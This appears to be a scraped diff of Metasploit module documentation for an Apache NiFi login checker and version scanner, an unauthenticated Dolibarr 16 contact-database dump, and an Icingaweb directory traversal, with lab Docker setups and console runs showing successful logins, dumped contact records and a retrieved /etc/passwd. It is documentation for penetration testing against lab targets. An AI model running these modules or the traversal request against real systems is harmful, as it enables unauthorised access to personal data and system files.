$ curl localhost:5984
|
||||
{"couchdb":"Welcome","version":"2.1.1","features":["scheduler"],"vendor":{"name":"The Apache Software Foundation"}}
|
||||
```
|
||||
```
|
||||
$ curl -X PUT http://admin:password@localhost:5984/_users
|
||||
{"ok":true}
|
||||
```
|
||||
```
|
||||
$ curl -X PUT http://admin:password@localhost:5984/_replicator
|
||||
{"ok":true}
|
||||
```
|
||||
```
|
||||
$ curl -X PUT http://admin:password@localhost:5984/_global_changes
|
||||
{"ok":true}
|
||||
```
|
||||
|
||||
After running these commands you should get the following response when accessing http://localhost:5984/.
|
||||
```
|
||||
{"couchdb":"Welcome","version":"3.3.1","git_sha":"1fd50b82a","uuid":"bb8a05afa55cd9407a9532d05de65736","features":["access-ready","partitioned","pluggable-storage-engines","reshard","scheduler"],"vendor":{"name":"The Apache Software Foundation"}}
|
||||
```
|
||||
|
||||
### Ubuntu 16.04 Setup
|
||||
The following was done on Ubuntu 16.04, and is largely based on [1and1.com](https://www.1and1.com/cloud-community/learn/database/couchdb/install-and-use-couchdb-on-ubuntu-1604/):
|
||||
|
||||
1. `sudo apt install software-properties-common`
|
||||
2. `sudo add-apt-repository ppa:couchdb/stable`
|
||||
|
||||
@@ -0,0 +1,111 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to take login details for Apache NiFi websites
|
||||
and identify if they are valid or not.
|
||||
|
||||
Tested against NiFi major releases 1.14.0 - 1.21.0, and 1.13.0
|
||||
Also works against NiFi <= 1.13.0, but the module needs to be adjusted:
|
||||
|
||||
- set SSL false
|
||||
- set rport 8080
|
||||
|
||||
### Docker Install
|
||||
|
||||
Apache manages Docker installs for NiFi with version numbers, simply select the version number you wish to install. Examples:
|
||||
|
||||
```
|
||||
docker run -p 8443:8443 -d apache/nifi:1.21.0
|
||||
docker run -p 8443:8443 -d apache/nifi:1.20.0
|
||||
docker run -p 8443:8443 -d apache/nifi:1.19.0
|
||||
docker run -p 8443:8443 -d apache/nifi:1.18.0
|
||||
docker run -p 8443:8443 -d apache/nifi:1.17.0
|
||||
docker run -p 8443:8443 -d apache/nifi:1.16.0
|
||||
docker run -p 8443:8443 -d apache/nifi:1.15.0
|
||||
docker run -p 8443:8443 -d apache/nifi:1.14.0
|
||||
docker run -p 8080:8080 -d apache/nifi:1.13.0
|
||||
```
|
||||
|
||||
Versions > 1.13.0 dynamically create a username and password. To view them in the docker logs, use the following command:
|
||||
```
|
||||
docker logs <container> | grep Generated
|
||||
```
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/scanner/http/apache_nifi_login`
|
||||
1. Do: `set rhosts [ip]`
|
||||
1. Do: `set username [username]`
|
||||
1. Do: `set password [password]`
|
||||
1. Do: `run`
|
||||
1. If any logins are valid, they will be printed
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Docker image of Apache NiFi 1.18.0
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/nifi_login
|
||||
msf6 auxiliary(scanner/http/nifi_login) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf6 auxiliary(scanner/http/nifi_login) > set username 21acf672-7935-441c-a38b-b52643f029bf
|
||||
username => 21acf672-7935-441c-a38b-b52643f029bf
|
||||
msf6 auxiliary(scanner/http/nifi_login) > set password bad
|
||||
password => bad
|
||||
msf6 auxiliary(scanner/http/nifi_login) > run
|
||||
|
||||
[*] Checking 127.0.0.1
|
||||
[-] 127.0.0.1:8443 - Apache NiFi - Failed to login as '21acf672-7935-441c-a38b-b52643f029bf' with password 'bad'
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/http/nifi_login) > set password R4+xdl8P9Phrqne4NxHDponQs5X9ktn2
|
||||
password => R4+xdl8P9Phrqne4NxHDponQs5X9ktn2
|
||||
msf6 auxiliary(scanner/http/nifi_login) > run
|
||||
|
||||
[*] Checking 127.0.0.1
|
||||
[+] 127.0.0.1:8443 - Apache NiFi - Login successful as '21acf672-7935-441c-a38b-b52643f029bf' with password 'R4+xdl8P9Phrqne4NxHDponQs5X9ktn2'
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Docker image of Apache NiFi 1.21.0
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/apache_nifi_login
|
||||
msf6 auxiliary(scanner/http/apache_nifi_login) > set RHOST 127.0.0.1
|
||||
RHOST => 127.0.0.1
|
||||
msf6 auxiliary(scanner/http/apache_nifi_login) > set RPORT 8443
|
||||
RPORT => 8443
|
||||
msf6 auxiliary(scanner/http/apache_nifi_login) > set USERNAME test
|
||||
USERNAME => test
|
||||
msf6 auxiliary(scanner/http/apache_nifi_login) > set PASSWORD test
|
||||
PASSWORD => test
|
||||
msf6 auxiliary(scanner/http/apache_nifi_login) > run
|
||||
|
||||
[*] Checking 127.0.0.1
|
||||
[-] 127.0.0.1:8443 - Apache NiFi - Failed to login as 'test' with password 'test'
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/http/apache_nifi_login) > set USERNAME a43c5a33-1635-46aa-8773-ef65f572fa0e
|
||||
USERNAME => a43c5a33-1635-46aa-8773-ef65f572fa0e
|
||||
msf6 auxiliary(scanner/http/apache_nifi_login) > set PASSWORD QUicCmARFZKeaO1QqPTdnJlB/IPCjJ3u
|
||||
PASSWORD => QUicCmARFZKeaO1QqPTdnJlB/IPCjJ3u
|
||||
msf6 auxiliary(scanner/http/apache_nifi_login) > run
|
||||
|
||||
[*] Checking 127.0.0.1
|
||||
[+] 127.0.0.1:8443 - Apache NiFi - Login successful as 'a43c5a33-1635-46aa-8773-ef65f572fa0e' with password 'QUicCmARFZKeaO1QqPTdnJlB/IPCjJ3u'
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/http/apache_nifi_login) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
127.0.0.1 127.0.0.1 8443/tcp (https) a43c5a33-1635-46aa-8773-ef65f572fa0e QUicCmARFZKeaO1QqPTdnJlB/IPCjJ3u Password
|
||||
|
||||
msf6 auxiliary(scanner/http/apache_nifi_login) >
|
||||
```
|
||||
@@ -0,0 +1,76 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module identifies Apache NiFi websites and reports their version number.
|
||||
|
||||
Tested against NiFi major releases 1.14.0 - 1.21.0, and 1.11.0-1.13.0.
|
||||
|
||||
Also works against NiFi <= 1.13.0, but the module needs to be adjusted:
|
||||
- set SSL false
|
||||
- set rport 8080
|
||||
|
||||
### Docker Install
|
||||
|
||||
Apache manages Docker installs for NiFi with version numbers, simply select the version number you wish to install. Examples:
|
||||
|
||||
```
|
||||
docker run -p 8443:8443 -d apache/nifi:1.21.0
|
||||
docker run -p 8443:8443 -d apache/nifi:1.20.0
|
||||
docker run -p 8443:8443 -d apache/nifi:1.19.0
|
||||
docker run -p 8443:8443 -d apache/nifi:1.18.0
|
||||
docker run -p 8443:8443 -d apache/nifi:1.17.0
|
||||
docker run -p 8443:8443 -d apache/nifi:1.16.0
|
||||
docker run -p 8443:8443 -d apache/nifi:1.15.0
|
||||
docker run -p 8443:8443 -d apache/nifi:1.14.0
|
||||
docker run -p 8080:8080 -d apache/nifi:1.13.0
|
||||
docker run -p 8080:8080 -d apache/nifi:1.13.0
|
||||
docker run -p 8080:8080 -d apache/nifi:1.12.0
|
||||
docker run -p 8080:8080 -d apache/nifi:1.11.0
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/scanner/http/apache_nifi_version`
|
||||
1. Do: `set rhosts [ip]`
|
||||
1. Do: `run`
|
||||
1. You should get back the version number of the NiFi instance
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Docker image 1.21.0 and 1.11.0
|
||||
|
||||
```
|
||||
└─$ docker run -p 8443:8443 -d apache/nifi:1.21.0
|
||||
1df39f1d1dc0a4abde9e2daedf8b3dc66d37fb53126e491b7050da618e971dfd
|
||||
└─$ ./msfconsole -q
|
||||
msf6 > use auxiliary/scanner/http/apache_nifi_version
|
||||
msf6 auxiliary(scanner/http/apache_nifi_version) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf6 auxiliary(scanner/http/apache_nifi_version) > run
|
||||
|
||||
[+] Apache NiFi 1.21.0 found on 127.0.0.1
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
```
|
||||
└─$ docker run -p 8080:8080 -d apache/nifi:1.11.0
|
||||
089f1b164853df8b088a3e80d25d7f886b1934a654ed7807433e3eef46a5973f
|
||||
└─$ ./msfconsole -q
|
||||
msf6 > use auxiliary/scanner/http/apache_nifi_version
|
||||
msf6 auxiliary(scanner/http/apache_nifi_version) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf6 auxiliary(scanner/http/apache_nifi_version) > set ssl false
|
||||
[!] Changing the SSL option's value may require changing RPORT!
|
||||
ssl => false
|
||||
msf6 auxiliary(scanner/http/apache_nifi_version) > set rport 8080
|
||||
rport => 8080
|
||||
msf6 auxiliary(scanner/http/apache_nifi_version) > run
|
||||
|
||||
[+] Apache NiFi 1.11.0 found on 127.0.0.1
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,179 @@
|
||||
## Vulnerable Application
|
||||
### Dolibarr 16 pre-auth contact database dump
|
||||
|
||||
Dolibarr version 16 < 16.0.5 is vulnerable to a pre-authentication contact database dump.
|
||||
An unauthenticated attacker may retrieve a company’s entire customer file, prospects, suppliers,
|
||||
and potentially employee information if a contact file exists.
|
||||
Both public and private notes are also included in the dump.
|
||||
|
||||
### Dolibarr GitHub Repository & Dolibarr setup with vulnerable docker image
|
||||
|
||||
If you need to setup Dolibarr,
|
||||
this is the official GitHub Repository from Dolibarr or via docker with an unofficial but working image and docker-compose.
|
||||
```
|
||||
Official GitHub Repository:
|
||||
|
||||
https://github.com/Dolibarr/dolibarr/tree/16.0.4
|
||||
```
|
||||
|
||||
|
||||
Unofficial image with docker-compose:
|
||||
|
||||
`docker pull tuxgasy/dolibarr:16.0.4`
|
||||
|
||||
Important: This image does not contain a database. So you need to link it with a database container.
|
||||
|
||||
Use Docker Compose to integrate it with MariaDB (you can also use MySQL if you prefer).
|
||||
|
||||
Create docker-compose.yml file as following:
|
||||
```
|
||||
version: "3"
|
||||
|
||||
services:
|
||||
mariadb:
|
||||
image: mariadb:latest
|
||||
environment:
|
||||
MARIADB_DATABASE: dolibarr
|
||||
MARIADB_USER: dolibarr
|
||||
MARIADB_PASSWORD: dolibarr
|
||||
MARIADB_RANDOM_ROOT_PASSWORD: 'yes'
|
||||
web:
|
||||
image: tuxgasy/dolibarr:16.0.4
|
||||
environment:
|
||||
DOLI_DB_HOST: mariadb
|
||||
DOLI_DB_USER: dolibarr
|
||||
DOLI_DB_PASSWORD: dolibarr
|
||||
DOLI_DB_NAME: dolibarr
|
||||
DOLI_URL_ROOT: 'http://0.0.0.0'
|
||||
PHP_INI_DATE_TIMEZONE: 'Europe/Paris'
|
||||
ports:
|
||||
- "80:80"
|
||||
```
|
||||
|
||||
Then run all services with `docker-compose up -d`. Now, go to http://0.0.0.0 to access to the new Dolibarr installation.
|
||||
|
||||
## Dolibarr Configuration
|
||||
|
||||
Default credentials : admin/admin
|
||||
|
||||
Important:
|
||||
Once Dolibarr is installed,
|
||||
you will have to activate the Third-parties module and create at least one contact in the latter to validate that the module works.
|
||||
|
||||
To use this module, you must first enable it using an administrator account, via the menu option "Home - Setup - Modules/Applications".
|
||||
|
||||
Choose the tab where the module is listed. Then click on "Activate".
|
||||
|
||||
Finally, you can create a member via "Third-parties - New Contact/Address".
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/scanner/http/dolibarr_16_contact_dump`
|
||||
4. Do: `set RHOSTS [IP] or [Dolibarr domain]`
|
||||
5. Do: `exploit`
|
||||
6. You should retrieve a file.
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI
|
||||
|
||||
The path to Dolibarr instance. Defaults to `/`, `http://dolibarrdomain/`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Dolibarr 16.0.4 on Ubuntu 22.10
|
||||
Exploitation of a Dolibarr 16.0.4.
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/dolibarr_16_contact_dump
|
||||
msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set RHOSTS http://[Dolibarr domain]/
|
||||
RHOSTS => http://[Dolibarr domain]/
|
||||
msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Detected vulnerable Dolibarr version: 16.0.4
|
||||
[+] Database type: mysqli
|
||||
[+] Database name: dolibarr
|
||||
[+] Database user: dolibarr
|
||||
[+] Database host: mariadb
|
||||
[+] Database port: 3306
|
||||
[+] Found 1 contacts.
|
||||
[+] 0.0.0.0:80 - File saved in: /home/kali/.msf4/loot/20230424042820_default_0.0.0.0_dolibarr_820189.json
|
||||
[+] 0.0.0.0:80 - File saved in: /home/kali/.msf4/loot/20230424042820_default_0.0.0.0_dolibarr_736790.csv
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
### Dolibarr 16.0.4 on Ubuntu 22.10
|
||||
Attempted exploitation of a Dolibarr 16.0.4 with an empty database.
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/dolibarr_16_contact_dump
|
||||
msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set RHOSTS X.X.X.X
|
||||
RHOSTS => X.X.X.X
|
||||
msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Detected vulnerable Dolibarr version: 16.0.4
|
||||
[-] unexpected-reply: Dolibarr data did not include contacts field
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
### Dolibarr 17.0.0 on Ubuntu 22.10
|
||||
Attempted exploitation of a Dolibarr 17.0.0.
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/dolibarr_16_contact_dump
|
||||
msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set RHOSTS X.X.X.X
|
||||
RHOSTS => X.X.X.X
|
||||
msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set verbose true
|
||||
verbose => true
|
||||
msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The target is not exploitable. Detected apparently non-vulnerable Dolibarr version: 17.0.0 ForceExploit is enabled, proceeding with exploitation.
|
||||
[-] unexpected-reply: Exploit response code: 403
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Contact database dump
|
||||
Here is an example of what your .csv and .json files would look like if the contact exfiltration was successful.
|
||||
|
||||
### .json
|
||||
|
||||
```
|
||||
{
|
||||
"contacts": [
|
||||
{
|
||||
"db": {
|
||||
"db": {
|
||||
},
|
||||
"type": "mysqli",
|
||||
"forcecharset": "utf8",
|
||||
"forcecollate": "utf8_unicode_ci",
|
||||
"connected": true,
|
||||
"database_selected": true,
|
||||
"database_name": "dolibarr",
|
||||
"database_user": "dolibarr",
|
||||
"database_host": "mariadb",
|
||||
|
||||
...
|
||||
|
||||
},
|
||||
"civility_code": "MR",
|
||||
"civility": "Mr.",
|
||||
"civilite": null,
|
||||
"address": "5100, rue de la Boatie",
|
||||
"zip": "69000",
|
||||
"town": "Lyon",
|
||||
"poste": "DSI",
|
||||
|
||||
...
|
||||
```
|
||||
|
||||
### .csv
|
||||
|
||||
| id | country_code | state | note_private | lastname | firstname | civility | address | zip | town | poste | email |
|
||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||
| 1 | FR | Rhône | | Latourelle | Valentine | Mrs. | 1700, Place de Paume | 69400 | Bron | CEO | valentine@latourelle.latourelle |
|
||||
| 2 | FR | | don't make any discount | Paston | Hugues | Mr. | 2200, rue Bonneteria | 59370 | Mairieux | CEO | hugues@paston.paston |
|
||||
| 3 | FR | Rhône | | Grivois | Thierry | Mr. | 5100, rue de la Boatie | 69000 | Lyon | DSI | thierry@grivois.grivois |
|
||||
+83
@@ -0,0 +1,83 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Icingaweb versions from 2.9.0 to 2.9.5 inclusive, and 2.8.0 to 2.8.5 inclusive suffer from an
|
||||
unauthenticated directory traversal vulnerability. The vulnerability is triggered
|
||||
through the icinga-php-thirdparty library, which allows unauthenticated users
|
||||
to retrieve arbitrary files from the targets filesystem via a GET request to
|
||||
`/lib/icinga/icinga-php-thirdparty/<absolute path to target file on disk>` as the user
|
||||
running the Icingaweb server, which will typically be the `www-data` user.
|
||||
|
||||
This can then be used to retrieve sensitive configuration information from the target
|
||||
such as the configuration of various services, which may reveal sensitive login or configuration information,
|
||||
the `/etc/passwd` file to get a list of valid usernames for password guessing attacks, or other sensitive files
|
||||
which may exist as part of additional functionality available on the target server.
|
||||
|
||||
This module was tested against Icingaweb 2.9.5 running on Docker.
|
||||
|
||||
## Install Icingaweb 2.9.5 on a Ubuntu 22.04 Docker Image
|
||||
|
||||
```
|
||||
sudo apt-get install docker.io -y
|
||||
sudo docker run -p 8080:8080 icinga/icingaweb2:2.9.5
|
||||
```
|
||||
|
||||
Browse to port 8080 to confirm the site loads. No need to configure.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/scanner/http/icinga_static_library_file_directory_traversal`
|
||||
4. Do: `set rhosts [ip]`
|
||||
5. Do: `set file [file]`. On Docker use `/etc/passwd` for testing purposes.
|
||||
6. Do: `run`
|
||||
7. You should be able to retrieve a file
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Icingaweb 2.9.5 on Ubuntu 22.04 running on Docker
|
||||
|
||||
```
|
||||
[*] Processing icinga.rb for ERB directives.
|
||||
resource (icinga.rb)> use scanner/http/icinga_static_library_file_directory_traversal
|
||||
resource (icinga.rb)> set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
resource (icinga.rb)> set file /etc/passwd
|
||||
file => /etc/passwd
|
||||
resource (icinga.rb)> check
|
||||
[*] 127.0.0.1:8080 - The service is running, but could not be validated. 127.0.0.1:8080 - Icinga Web 2 found, unable to determine version.
|
||||
resource (icinga.rb)> run
|
||||
[+] root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
|
||||
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
|
||||
|
||||
[+] /etc/passwd saved to /root/.msf4/loot/20230421161654_default_127.0.0.1_icingafile_070863.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
resource (icinga.rb)> loot
|
||||
|
||||
Loot
|
||||
====
|
||||
|
||||
host service type name content info path
|
||||
---- ------- ---- ---- ------- ---- ----
|
||||
127.000.0.01 icinga file /etc/passwd text/plain /root/.msf4/loot/20230421161654_default_127.0.0.1_icingafile_070863.txt
|
||||
```
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user